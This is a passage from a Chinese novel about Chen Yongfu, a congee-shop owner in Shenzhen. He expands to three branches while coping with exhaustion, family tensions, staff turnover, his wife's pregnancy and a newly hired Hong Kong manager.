黄秀英去南山那天,陈永福送她去车站。公交车来了,她拎着行李上车,在窗口挥手。
“老板,我会做好的。”
“我相信你。”
车开走了。陈永福站在车站,想起一年前,黄秀英蹲在路灯下哭的样子。现在她能独当一面了。
时间真快。
黄秀英到了南山店,果然不一样。她有条理,会安排,员工服她。收银再没出过错,服务员也配合得更好了。她还提了个建议:推出套餐,一碗粥加一个馒头,卖两毛五,比单买便宜五分。
工人喜欢实惠,套餐卖得很好。
南山店的生意慢慢上了轨道。每天能卖三百碗左右,周末能到四百。一个月下来,赚了九百块。虽然比预期的八百多了一百,但陈永福知道,这是因为刚开业的新鲜劲。能不能持久,还要看。
郑文达看了第一个月的报表,满意,第二期资金准时到账。
福田店的筹备开始了。
这次陈永福有了经验,选址、装修、招工,都顺利些。但他也发现,自己的身体有点跟不上了。每天两头跑,有时候三头跑,罗湖、南山、福田,像个陀螺。
四月中旬,他终于撑不住,发高烧。林玉兰逼他去医院,医生说是疲劳过度,要休息。
“休息?店里怎么办?”
“店重要还是命重要?”林玉兰难得发火,“你要是有个三长两短,我们娘俩怎么办?”
陈永福不说话了。躺在病床上,看着天花板。医院里消毒水的味道,让他想起老家卫生院。小时候发烧,母亲背着他去看病,也是这样白墙,这样味道。
护士来打针,针头扎进手背,有点疼。他闭上眼睛。
何老板来看他,带了水果。
“陈老板,身体要紧。福田店的事不急,等你好点再说。”
“不行,合同签了,时间定了。”
“定的是五月开业,还有一个多月呢。”何老板说,“你先养病,店里的事,我帮你看着点。”
陈永福感激地点点头。何老板这个人,虽然精明,但讲义气。
在医院住了三天,烧退了。陈永福急着出院,医生说再观察一天。他躺不住,偷偷溜出去,去福田看装修进度。
福田的铺面在华强北,电子市场旁边。这边人流量大,但租金也贵,三十五平米,月租两百八。装修已经完成大半,工人们在贴瓷砖。
包工头老赵看见他:“陈老板,你怎么来了?不是住院吗?”
“来看看。”
“放心,质量保证。”老赵递给他一支烟,“不过陈老板,你这脸色可不好,得多休息。”
“知道。”
看完福田店,他又坐车去南山。黄秀英见他来了,吓了一跳。
“老板,你怎么出院了?”
“来看看。”陈永福在店里转了一圈,干净,整齐,客人也不少,“做得不错。”
“老板,你得回去休息。”
“这就走。”
说是走,又去了后厨,检查了食材,跟杨师傅聊了几句。等坐上回罗湖的公交车,天已经黑了。
回到家,林玉兰正在做饭。见他回来,脸一沉:“又去哪了?”
“去看了看店。”
“医生说的话你都忘了?”林玉兰把锅铲一放,“陈永福,你要是再这样,我就带建国回老家。”
这话重了。陈永福愣住。
林玉英眼圈红了:“我知道你想把生意做大,想让我们过好日子。可你要是有个好歹,钱再多有什么用?”
陈永福走过去,轻轻抱住她:“对不起,我错了。”
“你每次都这么说。”
“这次真记住了。”
林玉兰在他肩上靠了一会儿,推开他:“吃饭吧,菜都凉了。”
饭桌上,□□说:“阿爸,我们学校要开家长会。”
“什么时候?”
“下周三。”
“好,阿爸去。”
□□高兴了,扒饭扒得很快。孩子上二年级了,成绩中等,但老师说踏实。
晚上睡觉前,陈永福算账。福田店开业在即,要招人,要培训,要备货。钱还够用,但人手不够用。
他想着,福田店开业后,得培养几个能管事的。不能什么事都自己扛。
窗外传来猫叫,一声接一声。春天了,猫都叫春了。
陈永福翻了个身,闭上眼睛。明天还要早起熬粥,不能想太多。
先睡吧。
9. 身骨
陈永福还是去参加了家长会。周三下午,罗湖小学的教室坐满了家长。黑板报上写着“家校合作,共育未来”,粉笔字工工整整。□□坐在最后一排,看见父亲来了,眼睛亮了一下,又赶紧低下头。
班主任是个年轻女老师,姓孙,戴眼镜,说话轻声细语。她讲了半个钟头,主要是学习纪律、卫生习惯这些。陈永福认真听着,虽然很多词听不懂,但知道是重要的事。
散会后,孙老师叫住他:“□□爸爸,留一下。”
陈永福心里咯噔一下。留下单独谈,通常不是好事。
其他家长陆续走了,教室里只剩他们俩。孙老师翻开一个本子:“□□最近上课老走神,作业也马虎。我问他,他说爸爸忙,晚上很晚才回家。”
陈永福脸红了:“老师,我……”
“我知道你们做生意辛苦。”孙老师合上本子,“但孩子二年级是关键期,习惯养不好,以后难改。您能不能多花点时间陪陪他?”
“能,一定能。”陈永福连忙说。
“那就好。”孙老师语气缓和了些,“□□本质不坏,就是缺关注。您多跟他说说话,检查检查作业,他会好的。”
“谢谢老师,我一定注意。”
走出教室,□□在走廊等着。孩子低着头,脚在地上蹭。
“阿爸,老师说什么了?”
“说你要好好学习。”陈永福摸摸他的头,“走,回家。”
路上,陈永福问:“作业多吗?”
“不多。”
“做完要给我看。”
□□点点头,过了一会儿小声说:“阿爸,我们班王小军他爸每天都接他放学。”
陈永福喉咙发紧。他几乎没接过儿子放学,都是林玉兰或者孩子自己走回去。
“以后阿爸有空就去接你。”
“真的?”
“真的。”
回到家,林玉兰正在择菜。听说家长会的事,她叹了口气:“是该多管管孩子了。你整天忙,我也忙,建国跟孤儿似的。”
这话刺人,但陈永福没反驳。她说得对。
晚上,他第一次认真检查儿子的作业。语文造句,“一边……一边……”□□写:“爸爸一边熬粥一边咳嗽。”
陈永福看着这句话,心里不是滋味。
“写得好。”他说,“但阿爸以后不咳嗽了。”
福田店的装修收尾了。陈永福这次不敢太拼,每天只去看一趟,其他时间让王建军跑。王建军学东西快,现在罗湖档口的事基本能管起来。
四月底,招工完成。福田店要四个员工:一个厨师,两个服务员,一个收银兼杂工。厨师是从广州请的,姓余,四十五岁,在酒楼干过二十年,会做广式粥。工资要六十,陈永福咬牙答应了。
服务员是两姐妹,潮汕老乡,一个十九,一个十七。收银的是个本地女孩,高中毕业,说一口流利的普通话。
培训开始了。这次陈永福轻松些,有余师傅在,粥的味道他放心。主要是教流程,教服务标准。
余师傅确实有本事,熬的粥绵滑细腻,米粒完全化开,跟陈永福的风格不同,但也好喝。陈永福尝了,点点头:“余师傅,以后福田店就靠你了。”
“陈老板放心,我做事认真。”
开业定在五月八号,立夏之后。郑文达说要搞大点,请了舞狮队,还联系了报社记者。
陈永福觉得太招摇,但郑文达说:“宣传要到位,钱不能省。”
开业那天,华强北人山人海。舞狮队敲锣打鼓,吸引了一大群人围观。记者拍照,问问题。郑文达穿着西装讲话,说这是深港合作的成功范例。
陈永福站在旁边,不太适应。闪光灯太亮,人声太吵。他只关心锅里的粥会不会糊。
仪式结束,客人涌进来。福田店比南山店大,装修也更讲究,白墙瓷砖,日光灯明亮。客人有附近上班的白领,有电子市场的商户,也有看热闹的路人。
余师傅在后厨掌勺,两个潮汕姐妹前厅招呼,本地女孩收银。一切井井有条。
陈永福看着,心里踏实了些。他开始相信,也许真能做好。
中午高峰期过去,盘点。卖了三百五十碗,收入八十多块。比南山店开业时还好。
郑文达很高兴:“陈老板,照这个势头,福田店一个月能赚一千五。”
“希望吧。”
但问题很快就来了。
福田店的客人跟南山不一样。电子市场的商户有钱,要求高。有人嫌粥太淡,要加盐。有人嫌服务员动作慢,等不及。还有人说海鲜不新鲜,要退钱。
收银的女孩应付不来,急得直哭。潮汕姐妹普通话不标准,跟客人沟通有障碍。只有余师傅稳得住,该熬粥熬粥,该加料加料。
陈永福连续三天蹲在福田店,现场解决问题。他教会收银女孩怎么应对投诉,教潮汕姐妹多说“请”“谢谢”“不好意思”。自己也站在柜台前,跟客人解释。
“师傅,您觉得淡,可以加这个酱油,我们自己调的。”
“大姐,实在不好意思,今天人多,让您久等了,这碗粥我请。”
三天下来,嗓子又哑了。
郑文达从香港打电话来问情况,陈永福说:“还行,在调整。”
“需要帮忙就说。”
“暂时不用。”
挂了电话,陈永福想,帮忙?能帮什么?生意的事,最后还是得自己扛。
五月中旬,深圳突然热起来。气温一下子窜到三十度,商场里空调修好了,但粥铺的灶台前还是像蒸笼。
陈永福又瘦了。原本就精瘦,现在更显形,颧骨凸出来,眼窝陷进去。林玉兰炖了鸡汤逼他喝,他喝两口就放下:“饱了。”
“再喝点,你看你都成什么样了。”
“真饱了。”
林玉兰把碗一放:“陈永福,你要是不想过了,就直说。”
这话重了。陈永福抬头看她,妻子眼里有泪光。
“我不是……”
“你不是什么?你心里只有你的店,你的生意。我和建国算什么?”
“我赚钱不就是为了你们吗?”
“我们要的不是钱,是人!”林玉兰声音发抖,“我要的是丈夫,建国要的是父亲。你现在整天不见人影,回来了也累得话都不说。这叫什么家?”
陈永福说不出话。他知道妻子说得对,可他能怎么办?三间店,几十个员工,郑文达的投资,都压在他肩上。他停不下来。
“等福田店稳了,我就轻松了。”他只能这样说。
“稳了?南山稳了吗?罗湖稳了吗?你永远有理由。”
林玉兰转身进了卧室,关上门。□□从自己房间探出头,又缩回去。
陈永福坐在客厅里,灯没开。窗外万家灯火,每盏灯下都有一个家。他的家,灯亮着,人却在吵架。
他点了支烟,慢慢抽。烟是“红双喜”,比“大前门”贵一点,但郑文达说谈生意要抽好烟。其实他抽不出区别。
一支烟抽完,他起身去敲卧室门。
“玉兰。”
没回应。
“玉兰,我错了。”
还是没声音。
他靠在门上,轻声说:“我知道我做得不好。可你知道吗,我每天一睁眼,就要想今天要进多少米,多少肉,要付多少租金,多少工资。我怕店里出事,怕员工走人,怕郑先生撤资。我怕我又变回一年前那个什么都没有的陈永福。”
门开了。林玉兰站在门里,脸上有泪痕。
“你怕,我就不怕吗?”她声音哽咽,“我怕你累垮,怕你病倒,怕建国没有爸爸。钱没了可以再赚,人没了怎么办?”
陈永福抱住她:“不会的,我不会有事。”
“你保证?”
“我保证。”
这个保证很无力,但林玉兰接受了。生活就是这样,明知保证不一定有用,但还需要一个保证。
第二天,陈永福送□□上学。路上,孩子问:“阿爸,你和阿妈吵架了?”
“没有,就是说话大声了点。”
“哦。”□□踢着路上的石子,“王小军他爸妈也吵架,后来他爸搬出去了。”
陈永福心里一紧:“阿爸不会搬出去。”
“真的?”
“真的。”
送到学校门口,□□忽然说:“阿爸,你以后能不能早点回家?我想你陪我写作业。”
“好,阿爸尽量。”
看着儿子跑进校门的小小背影,陈永福鼻子发酸。他是不是真的忽略了太多?
福田店运营一个月,报表出来了。收入两千四,成本一千五,净赚九百。比预期少,但还在增长。
郑文达没说什么,只说继续努力。但陈永福知道,这个数字不够好。郑文达投五万块,不是为了让三家店一个月赚两千块。
他得想办法。
六月初,何老板提了个建议:“陈老板,你们三家店,可以统一采购,降低成本。”
“怎么统一?”
“米、肉、海鲜,这些大宗食材,三家店一起买,量大价优。我认识几个批发商,可以介绍。”
陈永福觉得可行。他现在是三家店分开采购,每个店自己去市场买,价格高,还费人工。
他约了批发商谈。米批发价一斤便宜两分,肉便宜五分,海鲜便宜一毛。算下来,一个月能省两百多块。
但批发要现款,一次买一个月的量。三家店加起来,要垫付三千块。
陈永福手头没那么多现金。郑文达的投资款还剩一些,但那是用于经营的,不能动。他想了半天,去找周淑芬。
周淑芬现在在小学代课,一个月工资八十块。听说陈永福要借钱,她二话不说,把存折拿出来了。
“陈老板,这里面有两千块,是我这半年攒的。你先用。”
“周老师,这……”
“别说了,当年要不是你,我和小军还不知道怎么样呢。”周淑芬把存折塞给他,“什么时候有了再还。”
陈永福接过存折,手有点抖:“谢谢,我打借条。
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”
“不用借条,我信你。”
拿着周淑芬的两千块,加上自己的一千,陈永福开始了统一采购。他在罗湖租了个小仓库,存放米和干货。每天早晨,王建军骑三轮车给三家店配送。
麻烦是麻烦,但确实省了钱。第一个月,成本降了二百三。
郑文达知道后,专门打电话来表扬:“陈老板,有头脑。做生意就是要这样,精打细算。”
陈永福笑笑,没说话。这哪是什么头脑,是被逼的。
六月中的一天,南山店出事了。
黄秀英打电话来,声音急:“老板,杨师傅不干了,要回四川。”
“为什么?”
“他说家里老人生病,要他回去。今天早上说的,现在就要走。”
陈永福头大了。杨师傅是南山店的主厨,他走了,店怎么办?
“你稳住他,我马上过来。”
他坐出租车去南山,花了五块钱。平时舍不得,今天顾不上了。
到店里,杨师傅已经收拾好东西,坐在后厨抽烟。黄秀英在旁边劝,没用。
“杨师傅,家里出什么事了?”陈永福问。
“我娘病了,要人照顾。”杨师傅低着头,“陈老板,对不住,我得回去。”
“病得重吗?”
“中风,瘫了。”
陈永福沉默了一会儿。百善孝为先,这个理由,他没法拦。
“工资结了吗?”
“结了。”
“我再给你拿一百块路费。”陈永福从钱包里掏钱,“回去好好照顾老人,代我问个好。”
杨师傅愣住了:“陈老板,这……”
“拿着,出门在外不容易。”
杨师傅接过钱,眼睛红了:“陈老板,你是个好人。等我娘好点了,我还回来。”
“好,我等你。”
送走杨师傅,问题来了:南山店没厨师了。黄秀英会熬粥,但只能熬基础的。海鲜粥、皮蛋粥这些复杂的,她做不好。
“老板,怎么办?”黄秀英问。
陈永福想了想:“我先在这儿顶几天,你赶紧招人。”
“招人不好招,好厨师都要价高。”
“高也得招。”
陈永福在南山店住了下来。早上四点起床熬粥,中午高峰期掌勺,下午教黄秀英,晚上盘点。一连五天,累得腰都直不起来。
林玉兰打电话来:“你还回不回家了?”
“南山店厨师走了,我得在这儿顶几天。”
“几天是几天?”
“招到人就回去。”
“陈永福,你是不是忘了你还有个家?”
电话挂了。陈永福握着听筒,听着忙音,心里空落落的。
第六天,终于招到一个厨师。是个湖南人,姓刘,在酒楼做过,要价五十五。陈永福答应了。
教了三天,刘师傅上手了。陈永福才回罗湖。
到家是晚上十点。林玉兰已经睡了,□□也睡了。桌上留着饭菜,用纱罩罩着。
他热了饭,坐在厨房里吃。饭菜凉了再热,味道变了,但他吃得很香。这是家的味道。
吃完饭,他轻手轻脚进卧室。林玉兰背对着他,没动。但他知道她没睡着。
“玉兰。”
没回应。
“南山店厨师招到了,我以后不用常去了。”
还是没声音。
他躺下,从背后轻轻抱住她:“对不起,又让你担心了。”
林玉兰肩膀动了动,转过身来。月光从窗户照进来,照在她脸上,有泪痕。
“陈永福,我嫁给你十年了。在老家时穷,但踏实。来深圳后,钱多了,心却空了。我不知道这是不是我要的日子。”
陈永福说不出话。他也不知道。他只知道,开弓没有回头箭,他回不去了。
“睡吧。”他只能说。
林玉兰闭上眼睛,但陈永福知道,她没睡着。
他自己也睡不着。脑子里全是事:南山店新厨师能不能稳住,福田店客诉多的问题怎么解决,罗湖店王建军管不管得住,还有郑文达那边,下个月要看报表……
越想越清醒,越清醒越睡不着。
窗外有猫叫,有车声,有这座城市永不眠的声音。
陈永福想起老家夏夜的蛙鸣,一阵一阵的,像催眠曲。那时候虽然穷,但睡得踏实。
现在,他躺在柔软的席梦思上,却像躺在钉板上。
他轻轻起身,走到阳台上。点支烟,看着这座城市的灯火。
远处,福田店所在的方向,一片明亮。南山店那边,也能看见几点光。罗湖店就在楼下,已经打烊了。
三家店,像三个孩子,都需要他养。
他不知道能养多久,但知道必须养下去。
烟抽完了,他回屋。林玉兰呼吸均匀,这次真睡着了。
他躺下,闭上眼睛。明天还要早起熬粥。
睡吧,能睡几个小时是几个小时。
日子还得过,粥还得熬。
10. 喘息
南山店的新厨师刘师傅,干了一个星期就出问题了。
黄秀英打电话来,声音压得很低:“老板,刘师傅熬的粥,客人说味道不对。”
“怎么不对?”
“说太咸,而且糊了几次锅底。”
陈永福皱眉:“你跟他说了吗?”
“说了,他说是我们米不好,火不好,就是不认自己的问题。”
“我现在过来。”
放下电话,陈永福看看墙上的钟。下午三点,罗湖店刚过午高峰,还能走得开。他对王建军交代了几句,坐上了去南山的公交车。
车上人不多,有座位。陈永福靠着窗,看着外面的街景。深圳的夏天来得猛,路边的紫荆花开得一片一片的,粉的紫的,热热闹闹。但他没心思看。
到南山店,正是下午清闲的时候。刘师傅坐在后厨抽烟,看见陈永福来,站起来。
“陈老板。”
陈永福点点头,走到灶台前。锅里还有半锅粥,他舀了一勺尝。确实咸,而且有股焦味。
“刘师傅,这粥……”
“今天的米不行,黏锅。”刘师傅抢着说,“火也调不好,这灶有问题。”
陈永福没说话,检查了米袋,又看了灶台。米是统一采购的,三家店都一样。灶台是新装的,才用几个月。
“黄秀英,早上熬粥时你在吗?”
“在。”黄秀英说,“刘师傅没按比例放水,我提醒了,他不听。”
刘师傅脸红了:“我干厨师十几年,还要你教?”
“我不是教,是提醒。”黄秀英不卑不亢。
陈永福明白了。不是米的问题,不是灶的问题,是人的问题。
“刘师傅,你出来一下。”
两人走到店后的小巷。巷子窄,两边堆着垃圾桶,苍蝇嗡嗡飞。
“刘师傅,咱们打开天窗说亮话。”陈永福点了支烟,“你是不是不想在这儿干了?”
刘师傅一愣,没想到他这么直接。
“陈老板,我没……”
“有就说。要是嫌工资低,嫌条件差,可以商量。但要是糊弄,不行。”陈永福吐了口烟,“我这家店,靠的就是粥的味道。味道不对,店就完了。”
刘师傅沉默了,低头踢着地上的石子。过了一会儿,他说:“陈老板,我在广州的店,一个月八十块,包吃住。你这儿五十五,差太多了。”
“所以你就不好好干?”
“也不是……”刘师傅支支吾吾,“就是觉得亏。”
陈永福想了想:“刘师傅,你要是能把南山店的生意做起来,每月营业额超过三千,我给你加十块。超过三千五,再加十块。怎么样?”
刘师傅眼睛亮了:“真的?”
“真的,说到做到。”
“那行,我好好干。”
“但有一条,”陈永福盯着他,“味道必须稳定。再糊锅,再咸了淡了,不用我说,你自己走人。”
“明白!”
回到店里,陈永福让黄秀英监督刘师傅熬粥,严格按照比例和流程。又待了两个小时,看刘师傅重新熬了一锅粥,尝了,味道对了,才放心离开。
回罗湖的公交车上,他算账。如果给刘师傅加工资,成本又要增加。但没办法,好厨师难找,留住人比什么都重要。
到家已经晚上八点。林玉兰正在辅导□□写作业,见他回来,没说话。
陈永福洗了手,坐到儿子旁边:“作业多吗?”
“数学作业,应用题不会。”□□把本子推过来。
是一道关于速度和时间的题:小明骑自行车去学校,每分钟骑200米,15分钟到。如果他想提前3分钟到,每分钟要骑多少米?
陈永福看了一会儿。他小学毕业,数学早忘光了。但儿子眼巴巴看着他,他得想办法。
“来,阿爸帮你算。”
他拿出纸笔,慢慢算。先算总路程,200乘以15,3000米。再算新时间,15减3,12分钟。3000除以12,250米。
“每分钟要骑250米。”
□□眼睛亮了:“阿爸真厉害!”
林玉兰在旁边看着,嘴角弯了弯,但很快又抿直了。
辅导完作业,□□去睡觉。陈永福去厨房热饭,林玉兰跟进来。
“南山店怎么样了?”
“新厨师有点问题,解决了。”
“你吃饭了吗?”
“没。”
林玉兰叹了口气,接过他手里的碗:“坐着吧,我来。”
她热了饭菜,端到桌上。一盘青椒炒肉,一盘青菜,一碗米饭。简简单单,但都是他爱吃的。
陈永福大口吃着。真饿了,中午在南山就吃了碗粥。
“慢点,别噎着。”
“嗯。”
吃完饭,陈永福主动洗碗。林玉兰站在厨房门口看着,忽然说:“今天建国班主任又打电话了。”
陈永福手一顿:“说什么?”
“说建国最近有进步,上课专心了,作业也认真了。”林玉兰声音软了些,“说你上次家长会后,真的管孩子了。”
陈永福心里一松:“那就好。”
“孙老师还说,要是家长都像你这样,孩子就好教了。”
这话让陈永福脸红了。他哪里做得好,只是尽了点最基本的责任。
洗好碗,两人坐在客厅里。电视开着,但声音调得很小。是一部香港电视剧,讲大家族恩怨,听不懂粤语,看字幕。
“阿福。”林玉兰轻声叫他。
“嗯?”
“我昨天去了趟医院。”
陈永福心里一紧:“哪里不舒服?”
“没事,就是检查一下。”林玉兰看着他,“医生说我怀孕了。”
陈永福愣住了,手里的遥控器掉在地上。
“怀……怀孕?”
“嗯,两个月了。”
陈永福张着嘴,半天说不出话。过了好一会儿,才问:“真的?”
“真的。”林玉兰摸摸肚子,“本来想晚点告诉你,但看你这么累……”
陈永福一把抱住她,抱得很紧。林玉兰被他抱得喘不过气,推了推:“轻点。”
“对不起,对不起。”陈永福松开手,眼睛红了,“我太高兴了。”
林玉兰也红了眼眶:“傻子。”
“什么时候生?”
“年底,大概十二月。”
陈永福算时间,还有五个月。五个月,他得把三家店都稳住,得多赚钱,得给这个家更好的条件。
“玉兰,你放心,我会更努力。”
“我不要你更努力,我要你注意身体。”林玉兰摸摸他的脸,“你看你,瘦成什么样了。”
“我没事。”
“有事就晚了。”
那天晚上,陈永福睡不着。不是因为愁,是因为高兴。他要有第二个孩子了。在深圳站稳脚跟,生意上了轨道,现在又添丁,这是好兆头。
但他也知道,压力更大了。多一张嘴吃饭,多一份责任。
第二天一早,他照常四点起床熬粥。但今天不一样,他一边熬粥一边哼歌,哼的是潮汕老家的童谣,母亲小时候唱给他听的。
王建军来上班,看见他这样,吓了一跳:“老板,你今天心情好。”
“嗯,好。”陈永福笑笑,“今天粥多熬点,让大家吃饱。”
“好嘞。”
上午,郑文达从香港过来看福田店。陈永福赶过去,郑文达正在看账本。
“陈老板,福田店这个月比上个月好,有进步。”
“还在调整。”
“不过,”郑文达合上账本,“我发现一个问题。三家店虽然统一采购,但管理还是各自为政。这样效率不高。”
陈永福心里一紧:“郑先生的意思是?”
“我想派个人过来,帮你做标准化管理。”郑文达说,“从香港请个经理,工资我出,负责三家店的日常运营。你专心管产品和品质。”
陈永福沉默了一会儿。他知道郑文达说得对,他自己确实管不过来。但请个香港经理,意味着他要让出部分控制权。
“郑先生,这个人……”
“你放心,人我挑好了,有餐饮管理经验,懂国语。”郑文达拍拍他的肩,“下周一过来,你们见见。”
“好。”
送走郑文达,陈永福站在福田店门口,看着街上熙熙攘攘的人流。香港经理要来,这是好事还是坏事,他不知道。但他知道,自己确实需要帮助。
下午,他去了趟银行。查了存款,三家店这半年攒了三万块。不算多,但也不少了。他取了五百块,去商场买了些东西。
给林玉兰买了件孕妇装,浅蓝色的,宽松舒服。给□□买了新书包,帆布的,印着卡通图案。又买了些营养品,红枣、核桃、奶粉。
回到家,林玉兰看见这些东西,又高兴又心疼:“花这么多钱干嘛?”
“该花的。”陈永福把孕妇装递给她,“试试合不合身。”
林玉兰换上,在镜子前照了照。衣服有点大,但她穿着好看,脸色也显得红润。
“合适。”
“那就好。”
□□放学回来,看见新书包,高兴得跳起来:“谢谢阿爸!”
“好好学习,别辜负新书包。”
“嗯!”
晚上,陈永福做了个决定。他把三家店的骨干都叫到罗湖店开会。黄秀英从南山过来,王建军从福田过来,加上罗湖店的几个老员工,挤在档口后面的小仓库里。
“今天叫大家来,是要宣布几件事。”陈永福说,“第一,老板娘怀孕了,年底我要添个孩子。”
大家愣了下,然后都笑起来,七嘴八舌地恭喜。
“第二,香港郑先生要派个经理过来,帮我们做管理。人下周到,大家要配合。”
这话让大家安静了。黄秀英问:“老板,那我们……”
“你们还是各店的负责人,经理是协助,不是代替。”陈永福说,“第三,从下个月起,每个店设奖金。营业额超过目标,按比例发奖金。”
这招是何老板教的,说能激励员工。陈永福觉得可行。
“目标是多少?”王建军问。
“罗湖店月营业额五千,南山店三千五,福田店四千。”陈永福说,“超出的部分,百分之五作奖金,店里人分。”
大家眼睛都亮了。有奖金,干劲就不一样。
“老板放心,我们一定努力!”黄秀英说。
“对,努力!”
看着这些年轻的面孔,陈永福心里踏实了些。这些人跟着他干,他要对得起他们。
开完会,陈永福单独留下黄秀英。
“秀英,南山店现在你最熟。刘师傅那边,你多盯着点。他技术没问题,就是心态要调。”
“我知道。”黄秀英犹豫了一下,“老板,有件事我想跟你商量。”
“你说。”
“我想学会计。”黄秀英小声说,“晚上去夜校,学记账算账。以后能帮店里更多。”
陈永福愣了一下,随即笑了:“好事啊,去学。学费店里出。”
“真的?”
“真的。好好学,以后三家店的账都归你管。”
黄秀英眼睛红了:“谢谢老板。”
“谢什么,是你自己有出息。”
送走黄秀英,陈永福站在档口前,看着夜幕下的商场。美食区的灯光一盏盏亮起来,各家档口开始准备晚饭生意。
何老板晃悠过来:“陈老板,听说你要请香港经理了?”
“郑先生安排的。”
“好事啊,专业的人做专业的事。”何老板递给他一支烟,“不过陈老板,有句话我得提醒你。”
“何老板请说。”
“香港人做事讲究流程,讲究规矩。跟你这种亲力亲为的风格不一样。到时候可能会有摩擦,你得有心理准备。”
陈永福点
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点头:“我明白。”
“明白就好。”何老板拍拍他的肩,“不过也别太担心,都是为了生意好。”
是啊,都是为了生意好。陈永福想。只要店能开下去,只要能赚钱养家,怎么都行。
周一,香港经理来了。
是个三十多岁的男人,姓李,李文杰。穿灰色西装,打领带,头发梳得整齐。说话带香港口音,但努力说普通话。
“陈老板,以后请多指教。”他伸出手。
陈永福跟他握手:“李经理,辛苦你了。”
李文杰在罗湖店待了一天,看流程,看账本,跟员工聊天。下午,他拿出一份计划书。
“陈老板,我有几个建议。”
“请讲。”
“第一,三家店要统一制服,统一服务标准。现在各穿各的,不专业。”
“第二,要建立培训制度,新员工入职必须培训三天。”
“第三,要规范采购流程,建立台账,每天记录。”
“第四,要搞促销活动,每周一款特价粥,吸引客人。”
“第五……”
他一口气说了十条。陈永福听着,有的懂,有的不懂。但听起来都有道理。
“李经理,这些要花多少钱?”
“不多,制服每人两套,一百块足够。培训主要是时间成本。促销特价,薄利多销。”李文杰推推眼镜,“关键是规范,规范了才能做大。”
陈永福想了想:“那就按你说的办。不过要一步步来,先从简单的开始。”
“好。”
第一件事是定制服。李文杰找了个裁缝店,做了一批白衬衫黑裤子,胸口绣“家香粥铺”四个字。员工们穿上,精神了不少。
□□看见了,说:“阿爸,你们像饭店的服务员。”
“本来就是。”
“真好看。”
陈永福摸摸儿子的头。是啊,好看。整齐,精神,像那么回事。
第二件事是培训。李文杰亲自培训,从怎么招呼客人,怎么端碗,怎么收钱,一点一点教。有些老员工不习惯,觉得多此一举。但练了几次,发现确实有用,服务快了,出错少了。
第三件事是促销。每周二定为特价日,海鲜粥卖四毛。果然吸引了不少客人,周二营业额比平时高两成。
陈永福看着这些变化,心里服了。专业的就是不一样。
但问题也有。李文杰要求严格,一点小错都要说。有员工受不了,找陈永福诉苦。
“老板,李经理太严了,碗没擦干都要说。”
“严点好,严点才能做好。”
“可我们以前不也这样……”
“以前是以前,现在是现在。”陈永福说,“按李经理说的做。”
员工们嘴上应着,心里还是不服。陈永福知道,这需要时间。
七月底,深圳最热的时候。商场里的空调又坏了,修了三天才修好。那三天,美食区像个蒸笼,客人都少了。
陈永福在福田店查看,发现冰箱温度不够,有些肉开始有味了。
“怎么回事?”
“冰箱老化了,制冷不行。”余师傅说。
“怎么不早说?”
“说了几次了,李经理说等等看。”
陈永福皱眉。这种事不能等。他立刻打电话给电器行,买了台新冰箱,一千二。
李文杰知道后,说:“陈老板,这种大额支出要提前计划。”
“等不了,肉坏了损失更大。”
“但预算……”
“预算我来想办法。”陈永福说,“李经理,有些事可以等,有些事不能等。你以后要分清楚。”
李文杰愣了一下,点点头:“明白了。”
这是陈永福第一次对李文杰说不。他说完有点后悔,怕伤了和气。但李文杰没说什么,反而更尊重他了。
八月,林玉兰的肚子开始显了。陈永福尽量早点回家,陪她散步,听她说话。医生说孕妇要多动,对生产好。
他们常在小区里走,一圈一圈的。有时候碰见邻居,会打招呼。
“陈老板,老板娘有喜了?恭喜恭喜!”
“谢谢。”
“几个月了?”
“五个月了。”
“真好,儿女双全。”
陈永福笑着点头。其实还不知道是男是女,但都好。
一天晚上散步,林玉兰说:“阿福,我想给孩子起个小名。”
“你想叫什么?”
“如果是女孩,叫安安。男孩叫康康。”
“平安健康,好。”
“你觉得呢?”
“我觉得好。”陈永福握住她的手,“就叫安安,康康。”
林玉兰靠在他肩上:“阿福,我现在觉得,来深圳是对的。”
“怎么突然这么说?”
“以前总想回老家,觉得这里不是家。”林玉兰轻声说,“可现在,我在这里怀了孩子,建国在这里上学,你在这里有事业。这里就是家了。”
陈永福鼻子一酸。是啊,这里就是家了。虽然艰难,虽然累,但扎下根了。
“玉兰,谢谢你。”
“谢我什么?”
“谢谢你跟我来深圳,谢谢你吃苦,谢谢你给我生孩子。”
林玉兰笑了:“傻子。”
两人慢慢走回家。路灯把影子拉得很长,挨在一起,像一个人。
回到家,□□已经睡了。桌上放着作业本,数学又得了优。陈永福看了看,心里暖暖的。
他走到阳台上,点了支烟。深圳的夜,依然灯火通明。但今晚,他觉得这灯火温暖,不刺眼。
远处传来火车的汽笛声,呜——长长的,沉沉的。不知道是哪趟车,开往哪里。
但陈永福知道,他的车,就停在这里了。不走了,也走不动了。
根扎下了,就要在这里开花结果。
他掐灭烟,回屋睡觉。
明天还要早起熬粥。
11. 规矩
八月十五号,深圳下了场暴雨。雨是中午开始下的,一开始是豆大的雨点,噼里啪啦砸在商场玻璃顶上。后来连成片,哗啦啦的,像天漏了。雨水顺着玻璃往下流,外面什么都看不清。
陈永福在罗湖店前台对账。李文杰制定的新规矩,每天下午三点要对一次账,现金和账本要吻合。今天差了八毛钱,找不出来。
收银的是个新来的女孩,叫小玲,十八岁,湖南人。她急得快哭了:“老板,我真的数了三遍……”
“别急,慢慢找。”陈永福说。
两人一张一张数钞票,一毛两毛五毛的,铺了一柜台。外面雨声很大,店里没客人,安静得能听见钞票翻动的声音。
数到第三遍,陈永福发现一张两毛的票子黏在一起,撕开,正好八毛。
“找到了。”他把票子分开,“以后收钱要注意,湿的票子要分开晾。”
小玲松口气:“谢谢老板。”
“没事,去干活吧。”
陈永福继续对账。李文杰的账本很详细,收入、支出、成本、利润,分门别类。他刚开始看不太懂,现在慢慢习惯了。确实清楚,一目了然。
但有些地方他觉得没必要。比如要求员工每天写工作日志,记录做了什么、遇到什么问题。大多数员工只会写“熬粥”“收碗”“扫地”,跟流水账似的。
李文杰说这是培养职业习惯,陈永福觉得浪费时间。但他没反对,既然请了人家来管,就得听人家的。
雨下了一个钟头才小。商场门口积了水,清洁工在扫。陈永福看看表,四点了,该去南山店看看。李文杰说今天要检查南山店的卫生。
他撑伞走到公交站,裤子还是湿了半截。公交车来得慢,等了二十分钟。车上人多,闷热,窗户上全是雾气。
到南山店,雨停了,太阳出来,地上蒸起热气。黄秀英在门口擦玻璃,看见他,赶紧过来。
“老板。”
“李经理来了吗?”
“来了,在里面检查后厨。”
陈永福进去。李文杰戴着白手套,正在摸冰箱顶。刘师傅站在旁边,脸色不太好看。
